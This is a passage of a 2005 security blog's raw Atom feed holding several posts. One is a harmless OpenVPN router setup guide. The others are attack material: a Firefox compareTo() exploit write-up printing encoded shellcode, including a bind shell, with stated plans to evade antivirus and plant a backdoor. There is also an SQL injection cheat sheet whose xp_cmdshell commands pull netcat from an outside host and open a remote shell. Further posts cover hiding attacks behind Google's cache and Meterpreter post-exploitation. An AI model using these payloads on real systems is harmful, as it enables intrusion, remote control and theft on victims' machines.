ready.&lt;br /&gt;SSH to your NSLU2. If you have not set your password yet the default password is "uNSLUng"&lt;br /&gt;&lt;br /&gt;Install OpenVPN:&lt;br /&gt;&lt;b&gt;ipkg update;ipkg -force-depends install openvpn &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Create Tun:&lt;br /&gt;&lt;b&gt;mkdir /dev/net&lt;/b&gt;&lt;br /&gt;&lt;b&gt;mknod /dev/net/tun c 10 200&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Install Tun:&lt;br /&gt;&lt;b&gt;insmod tun&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Enable Routing:&lt;br /&gt;&lt;b&gt;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now its time to generate our certs. I just downloaded openvpn on to my machine to create them. Goes much faster this way&lt;br /&gt;You can download the current openvpn version here. &lt;br /&gt;&lt;a href="http://openvpn.net/"&gt;http://openvpn.net/&lt;/a&gt;&lt;br /&gt;Also more details on this process can be found here.&lt;br /&gt;&lt;a href="http://openvpn.net/howto.html#pki"&gt;http://openvpn.net/howto.html#pki&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;CD into the easy-rsa directory and edit the vars file with your information.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;. ./vars&lt;/b&gt;&lt;br /&gt;&lt;b&gt;./clean-all&lt;/b&gt;&lt;br /&gt;&lt;b&gt;./build-ca&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now that the CA is up, we can build the keys for the server.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;./build-key-server server&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we have to build our client certs. I will only be buildling it for one client. I also use password protected certs.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;./build-key-pass client1&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Note: If you wanted other clients repeat the step with client2(or whatever you like). Remember to always use a unique common name for each client.&lt;br /&gt;&lt;br /&gt;Generate Diffie Hellman parameters.&lt;br /&gt;&lt;b&gt;./build-dh&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we need to create a direcotry on the NSLU2 to copy our keys to.&lt;br /&gt;&lt;b&gt;mkdir -p /opt/etc/openvpn/keys&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You can copy these files to the NSLU2, may be a bit different for you:&lt;br /&gt;&lt;b&gt;ca.crt, ca.key, dh1024.pem, server.crt, server.key, 01.pem, 02.pem, 03.pem, and 04.pem&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now lets create a server.conf on the NSLU2 and write our conf file.&lt;br /&gt;You can get a sample conf file from the previous download. I will just touch on the main things I change below.&lt;br /&gt;&lt;br /&gt;I use TCP so I can proxy:&lt;br /&gt;&lt;b&gt;# TCP or UDP server?&lt;br /&gt;proto tcp&lt;br /&gt;;proto udp&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Choose a cipher of your choice. Must be the same on the client.&lt;br /&gt;&lt;b&gt;# Select a cryptographic cipher.&lt;br /&gt;# This config item must be copied to&lt;br /&gt;# the client config file as well.&lt;br /&gt;;cipher BF-CBC        # Blowfish (default)&lt;br /&gt;;cipher AES-128-CBC   # AES&lt;br /&gt;;cipher DES-EDE3-CBC  # Triple-DES&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make sure it switches to priv nobody.&lt;br /&gt;&lt;b&gt;# You can uncomment this out on&lt;br /&gt;# non-Windows systems.&lt;br /&gt;user nobody&lt;br /&gt;group nobody&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Thats pretty much it for the server side.&lt;br /&gt;&lt;br /&gt;For the client side. Its pretty much straight forward.Just make sure you have the right certs.&lt;br /&gt;&lt;b&gt;ca.crt&lt;br /&gt;client1.crt&lt;br /&gt;client1.key&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now back to the NSLU2. &lt;br /&gt;&lt;br /&gt;For a while I have been trying to get MASQUERADE in iptables to work. But since the module is not in the ipkg repository and it is not enbaled in the kernel, this was not working. If you view the comment below Cooper did get this working and wrote a how-to for this. Since he wanted MASQUERADE for something a bit different I will document how I did it. I wanted it so I can hit other boxes behind the VPN. Without having to creat SSH tunnels (Which is what I was doing).&lt;br /&gt;Here is Cooper's doc on the NSLU site.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.nslu2-linux.org/wiki/HowTo/EnableIPMasquerading"&gt;http://www.nslu2-linux.org/wiki/HowTo/EnableIPMasquerading&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now, for what I did for MASQUERADE.&lt;br /&gt;&lt;br /&gt;First, I install the MASQUERADE modules, I used pre-compiled ones since I'm lazy. You can compile them yourself if you like, Cooper's doc shows you how. Below is a link to pre-compiled ones.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.defector.de/docs/nslu2-ipmasq.htm"&gt;http://www.defector.de/docs/nslu2-ipmasq.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now you can install these.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;ipkg-cl install kernel-module-ipt-masquerade_2.4.22.l2.3r63-r7_nslu2.ipk&lt;br /&gt;ipkg-cl install kernel-module-ipt-state_2.4.22.l2.3r63-r7_nslu2.ipk&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now lets install the modules.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;insmod ip_tables&lt;br /&gt;insmod iptable_filter&lt;br /&gt;insmod ip_conntrack&lt;br /&gt;insmod iptable_nat&lt;br /&gt;insmod ipt_state&lt;br /&gt;insmod ipt_MASQUERADE&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;If some modules cannot be found, I may have forgot to document these when I was messing around with different modules.&lt;br /&gt;You can easily find and install them. I actually don't think you even need ipt_state or iptable_filter but I put them in there anyways to have a more full blown iptables.(in case of future work)&lt;br /&gt;&lt;br /&gt;example:&lt;br /&gt;ipkg list |grep conntrack&lt;br /&gt;&lt;br /&gt;Now lets get all this stuff to run on reboot.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Create /opt/etc/init.d/S24openvpn and make it +x.&lt;br /&gt;&lt;br /&gt;###################################################&lt;br /&gt; #!/bin/sh&lt;br /&gt;&lt;br /&gt; if [ -n "`pidof openvpn`" ]; then &lt;br /&gt;    /bin/killall openvpn 2&gt;/dev/null&lt;br /&gt; fi&lt;br /&gt;&lt;br /&gt; # load kernel modules&lt;br /&gt; /sbin/insmod tun&lt;br /&gt; /sbin/insmod ip_tables&lt;br /&gt; /sbin/insmod iptable_filter&lt;br /&gt; /sbin/insmod ip_conntrack&lt;br /&gt; /sbin/insmod iptable_nat&lt;br /&gt; /sbin/insmod ipt_state&lt;br /&gt; /sbin/insmod ipt_MASQUERADE&lt;br /&gt; &lt;br /&gt; # enable IP forwarding&lt;br /&gt; echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt; # set iptables rule&lt;br /&gt; iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o ixp0 -j MASQUERADE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; # Startup VPN tunnel in daemon mode&lt;br /&gt; /opt/sbin/openvpn --cd /opt/etc/openvpn --daemon \&lt;br /&gt;  --log-append /var/log/openvpn.log \&lt;br /&gt;  --config server.conf &lt;br /&gt;###################################################&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now you are all set! Test it out !&lt;br /&gt;&lt;br /&gt;Thanks to everyone!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-7478145847348136346?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/7478145847348136346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=7478145847348136346' title='33 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7478145847348136346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/7478145847348136346'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/12/openvpn-on-nslu2_18.html' title='OpenVPN on NSLU2'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>33</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-1641460313107172585</id><published>2005-12-15T15:33:00.001-06:00</published><updated>2007-07-11T09:55:22.150-05:00</updated><title type='text'>Fun w/ FireFox compareTo()  Remote Execution</title><content type='html'>I love firefox, but just could not resist this.&lt;br /&gt;&lt;br /&gt;A vulnerbility was found in Mozilla Firefox &lt;= 1.04  when using the&lt;br /&gt;compareTo() function.&lt;br /&gt;&lt;a href="http://www.milw0rm.com/id.php?id=1369"&gt;http://www.milw0rm.com/id.php?id=1369&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You can find older versions of FireFox for testing here.&lt;br /&gt;&lt;a href="http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/"&gt;http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The exploit payload contained a return(Just would close the browser).&lt;br /&gt;And what fun is that?&lt;br /&gt;&lt;br /&gt;                        // Payload - Just return..&lt;br /&gt;                        var payLoadCode=unescape("%u9090%u90C3");&lt;br /&gt;&lt;br /&gt;So I thought lets actually execute some abritrary code.&lt;br /&gt;&lt;br /&gt;The thing that makes it hard is we cannot just use normal shellcode. We&lt;br /&gt;have to convert it to UTF-16 so the browser can execute it. I suppose&lt;br /&gt;UTF-8 would work also.&lt;br /&gt;&lt;br /&gt;For Example:&lt;br /&gt;&lt;br /&gt;                 \x29 would be %u785c%u3932&lt;br /&gt;&lt;br /&gt;So here we go, create the shellcode and encode it to UTF-16.&lt;br /&gt;How about something simple like calc.exe.&lt;br /&gt;&lt;br /&gt;I found a shellcode encoder. I have had mixed results but you can find it here.&lt;br /&gt;&lt;a href="http://www.milw0rm.com/id.php?id=656"&gt;http://www.milw0rm.com/id.php?id=656&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;                 // Payload - Calc.exe&lt;br /&gt;                 var  payLoadCode=unescape(&lt;br /&gt;                        "%u5053%u5053%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +&lt;br /&gt;                        "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +&lt;br /&gt;                        "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +&lt;br /&gt;                        "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +&lt;br /&gt;                        "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +&lt;br /&gt;                        "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +&lt;br /&gt;                        "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +&lt;br /&gt;                        "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +&lt;br /&gt;                        "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +&lt;br /&gt;                        "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7"+&lt;br /&gt;                        "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +&lt;br /&gt;                        "%uCC4A%uD0FF");&lt;br /&gt;&lt;br /&gt;Loaded the page, firefox shutdown and calc.exe poped-up. We can execute!&lt;br /&gt;(tested on WinXP SP2)&lt;br /&gt;&lt;br /&gt;While calc.exe was funny not to useful.&lt;br /&gt;&lt;br /&gt;Lets bind a port so we can get a shell.&lt;br /&gt;&lt;br /&gt;I tried creating different shellcode, things such as adding a user,port&lt;br /&gt;binding, cmd exec, and reverse shells, In both Linux and Windows. The&lt;br /&gt;shellcode was very touchy and had mixed results after encoding to&lt;br /&gt;UTF-16.&lt;br /&gt;&lt;br /&gt;This win32 bind shell code did work on WinXP SP2 from SkyLined.&lt;br /&gt;&lt;br /&gt;                        // Payload - Win32 bindshell (port 28876) - SkyLined&lt;br /&gt;                        var payLoadCode=unescape("%u4343%u4343%u43eb"+&lt;br /&gt;                            "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea"+&lt;br /&gt;                            "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7"+&lt;br /&gt;                            "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b"+&lt;br /&gt;                            "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64"+&lt;br /&gt;                            "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c"+&lt;br /&gt;                            "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe"+&lt;br /&gt;                            "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0"+&lt;br /&gt;                            "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050"+&lt;br /&gt;                            "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6"+&lt;br /&gt;                            "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650"+&lt;br /&gt;                            "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa"+&lt;br /&gt;                            "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656"+&lt;br /&gt;                            "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1"+&lt;br /&gt;                            "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353"+&lt;br /&gt;                            "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353"+&lt;br /&gt;                            "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe"+&lt;br /&gt;                            "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff"+&lt;br /&gt;                            "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");&lt;br /&gt;&lt;br /&gt;Opened the page in FireFox and telneted to port 28876&lt;br /&gt;&lt;br /&gt;Although, Symantec did see it as being a Trojan about one minute later.&lt;br /&gt;&lt;br /&gt;I will look into changing the shellcode a bit in hope of not triggering Symantec.&lt;br /&gt;Otherwise you would only have one minute after exploit to plant a backdoor.&lt;br /&gt;&lt;br /&gt;The exploit uses a method called spraying the stack. Its actually a&lt;br /&gt;pretty cool method by SkyLined to find a predictable address.&lt;br /&gt;&lt;br /&gt;I will continue to work on this when time permits, If anyone is&lt;br /&gt;interesed I would like to see other UTF-16 encoded shellcode that&lt;br /&gt;works.&lt;br /&gt;&lt;br /&gt;Here is a UTF-16 Payload by SkyLined that is not suppose to set off virus scanners.&lt;br /&gt;I have not tested this one yet.&lt;br /&gt;&lt;br /&gt;                payLoadCode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".&lt;br /&gt;                   "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".&lt;br /&gt;                   "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".&lt;br /&gt;                   "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".&lt;br /&gt;                   "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".&lt;br /&gt;                   "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".&lt;br /&gt;                   "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".&lt;br /&gt;                   "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".&lt;br /&gt;                   "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".&lt;br /&gt;                   "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".&lt;br /&gt;                   "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".&lt;br /&gt;                   "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".&lt;br /&gt;                   "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".&lt;br /&gt;                   "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".&lt;br /&gt;                   "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".&lt;br /&gt;                   "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".&lt;br /&gt;                   "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".&lt;br /&gt;                   "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".&lt;br /&gt;                   "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");&lt;br /&gt;&lt;br /&gt;Below are some links to more info.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0104.html"&gt;http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0104.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.edup.tudelft.nl/~bjwever/advisory_msie_R6025.html.php"&gt;http://www.edup.tudelft.nl/~bjwever/advisory_msie_R6025.html.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-1641460313107172585?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/1641460313107172585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=1641460313107172585' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/1641460313107172585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/1641460313107172585'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/12/fun-w-firefox-compareto-remote_15.html' title='Fun w/ FireFox compareTo()  Remote Execution'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-2462079165064529264</id><published>2005-11-29T10:57:00.001-06:00</published><updated>2007-07-11T09:55:21.980-05:00</updated><title type='text'>SQL Injection Cheat Sheet</title><content type='html'>A small reference when testing and using SQL Injection.&lt;br /&gt;&lt;br /&gt;Note: This is for my reference, so if there is not enough detail I apologize.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Testing For SQL Injection Vulnerabilities:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We want to see if the input is sanitized or checked, below is something you can insert into the form to check.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ba' or 1=1--&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Example: &lt;br /&gt;User: ba' or 1=1--&lt;br /&gt;Pass: ba' or 1=1--&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Query Manipulation:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;SELECT * FROM table WHERE user='ba'&lt;br /&gt;&lt;br /&gt;		-TO-&lt;br /&gt;&lt;br /&gt;SELECT * FROM table WHERE user='ba' or 1=1--&lt;br /&gt;&lt;br /&gt;Other examples (Depending on how the query was written here are other options to try) :&lt;br /&gt;&lt;b&gt;&lt;br /&gt;' or '1'='1&lt;br /&gt;' or 1=1--&lt;br /&gt;" or 1=1--&lt;br /&gt;or 1=1--&lt;br /&gt;' or '1'='1&lt;br /&gt;" or "1"="1&lt;br /&gt;') or ('1'='1&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note:( -- ) Is only needed for MS SQL servers. The ( -- ) will tell the server to ignore the rest of the query sometimes can replace with ( # ). This will make sure your signal quotes ( ' ) are in order. Also, if field is hidden you can run the form from your local box w/ the injection in it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Remote Execution on MS SQL:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now we know the server is vulnerable, while being nice, the above does not always allow us to bypass the login screen. Or we just may want to do something different. Here is an option.&lt;br /&gt;&lt;br /&gt;Start a sniffer on a box you own:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;# tcpdump udp and port 53 and victimhostname&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now make the victim do a DNS query against your box:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;’; EXEC master..xp_cmdshell ‘nslookup mybox.com’ --&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;You will see the dns query in your tcpdump output. Which means the EXEC worked! Now you can do whatever you like. For demonstration purposes lets just upload NetCat and execute.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;'; EXEC master..xp_cmdshell ‘tftp –I mybox.com GET nc.exe c:\nc.exe' --&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now execute netcat so it’s listening. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;'; EXEC master..xp_cmdshell ‘c:\nc.exe –l –p 9999 –e cmd.exe’ –-&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Now if you know what to do the box is all yours!&lt;br /&gt;&lt;br /&gt;Note: The ( ; ) will end the previous query and start the next.  Also, if the ( ' ) is not working try a ( " ).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusion:&lt;/b&gt; This is very basic SQL injection. Since it is just a cheat sheet I did not want this to become to long. Later I will cover other topics such as info gathering from ODBC error messages, Column gathering, querying specific things, blind SQL injection.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Other Good Docs:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.securiteam.com/securityreviews/5DP0N1P76E.html"&gt;http://www.securiteam.com/securityreviews/5DP0N1P76E.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf"&gt;http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-2462079165064529264?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/2462079165064529264/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=2462079165064529264' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2462079165064529264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2462079165064529264'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/11/sql-injection-cheat-sheet_29.html' title='SQL Injection Cheat Sheet'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-4297514134073909617</id><published>2005-11-07T15:55:00.001-06:00</published><updated>2007-07-11T09:55:21.848-05:00</updated><title type='text'>Web Attacking Through Google</title><content type='html'>An attacker just may be able to do web based attacks through google.  The goal of the attacker would be to have google process the malicious request against the target.&lt;br /&gt;&lt;br /&gt;I first tested it with the ad-content section of the personal google page, which seems it does at least need some type of RSS content to process it.&lt;br /&gt;&lt;br /&gt;For example, Here is a very very basic directory traversal attack:&lt;br /&gt;&lt;a href="http://target/showfile.pl?f=../../../fileyouwant"&gt;http://target/showfile.pl?f=../../../fileyouwant&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At first I was thinking you can add this to "add content" on the personal page. Didn't seem to work. Like I said earlier it does want some type of RSS content.&lt;br /&gt;&lt;br /&gt;So I then tried something like this in "add content".&lt;br /&gt;&lt;a href="http://rsssite/rss.php?xml+http://target/showfile.pl?f=../../../fileyouwant"&gt;http://rsssite/rss.php?xml+http://target/showfile.pl?f=../../../fileyouwant&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Still no go.&lt;br /&gt;&lt;br /&gt;So then I thought google caching.&lt;br /&gt;Basically you setup a static html page on some free web hosting company,the page would have all of the attack links(directory traversals,sql injections,php exploits, etc.)&lt;br /&gt;&lt;br /&gt;Wait for google to cache it.&lt;br /&gt;Viewing the page through google cache, the attacker could then launch all of the attacks from google. &lt;br /&gt;This would all be done with a point and click.&lt;br /&gt;&lt;br /&gt;Not really that dangerous since if you really wanted to find the attacker, google could provide you with logs. But it would be from an anonymous web site and would be two more steps.(could even proxy the registration of the site)&lt;br /&gt;&lt;br /&gt;It would look weird for the person watching the IDS(google attacking??) some may even not think anything of it,thinking its the just the googlebot. Also, it would be hard for the target to block you considering most places do not want to block google.&lt;br /&gt;&lt;br /&gt;This just kind of follows up Johnny Long's idea of zero-packet attacks.&lt;br /&gt;&lt;a href="http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-long.pdf"&gt;http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-long.pdf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-4297514134073909617?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/4297514134073909617/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=4297514134073909617' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/4297514134073909617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/4297514134073909617'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2005/11/web-attacking-through-google_07.html' title='Web Attacking Through Google'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-150917784634608411</id><published>2005-11-03T08:41:00.001-06:00</published><updated>2007-07-11T09:55:21.714-05:00</updated><title type='text'>Post-Exploitation w/ Meterpreter</title><content type='html'>Since I seem to forgot how to use Meterpreter everytime. Figured I would just document some basic functions of it.&lt;br /&gt;&lt;br /&gt;More information can be found at &lt;a href="http://www.metasploit.org"&gt;http://www.metasploit.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After the box is exploited and you have Meterpreter on the payload you can begin to use.&lt;br /&gt;&lt;br /&gt;There are many extenstions that can be used. Different extentions provide different uses.&lt;br /&gt;&lt;br /&gt;1. Fs&lt;br /&gt;   Provides interaction with the filesystem on the remote machine.&lt;br /&gt;2. Net&lt;br /&gt;   Provides interaction with the network stack on the remote machine.&lt;br /&gt;3. Process&lt;br /&gt;   Provides interaction with processes on the remote machine.&lt;br /&gt;4. Sys&lt;br /&gt;   Provides interaction with the environment on the remote machine.&lt;br /&gt;&lt;br /&gt;Here is how you load them. &lt;br /&gt;&lt;b&gt;&lt;meterpreter&gt; use -m Process&lt;/b&gt;&lt;br /&gt;loadlib: Loading library from ’ext950591.dll’ on the remote machine.&lt;br /&gt;&lt;br /&gt;There is a lot you can do but I'm just going to show the what I use the most.&lt;br /&gt;Below will get you a cmd prompt on machine.(assuming its windows)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;meterpreter&gt; execute -f cmd -c&lt;/b&gt;&lt;br /&gt;execute: Executing ’cmd’...&lt;br /&gt;&lt;br /&gt;execute: success, process id is 3516.&lt;br /&gt;execute: allocated channel 1 for new process.&lt;br /&gt;&lt;br /&gt;You now have to interact with the assigned channel. Then you got cmd!&lt;br /&gt;&lt;br /&gt;&lt;b&gt;meterpreter&gt; interact 1&lt;/b&gt;&lt;br /&gt;interact: Switching to interactive console on 1...&lt;br /&gt;meterpreter&gt;&lt;br /&gt;interact: Started interactive channel 1.&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 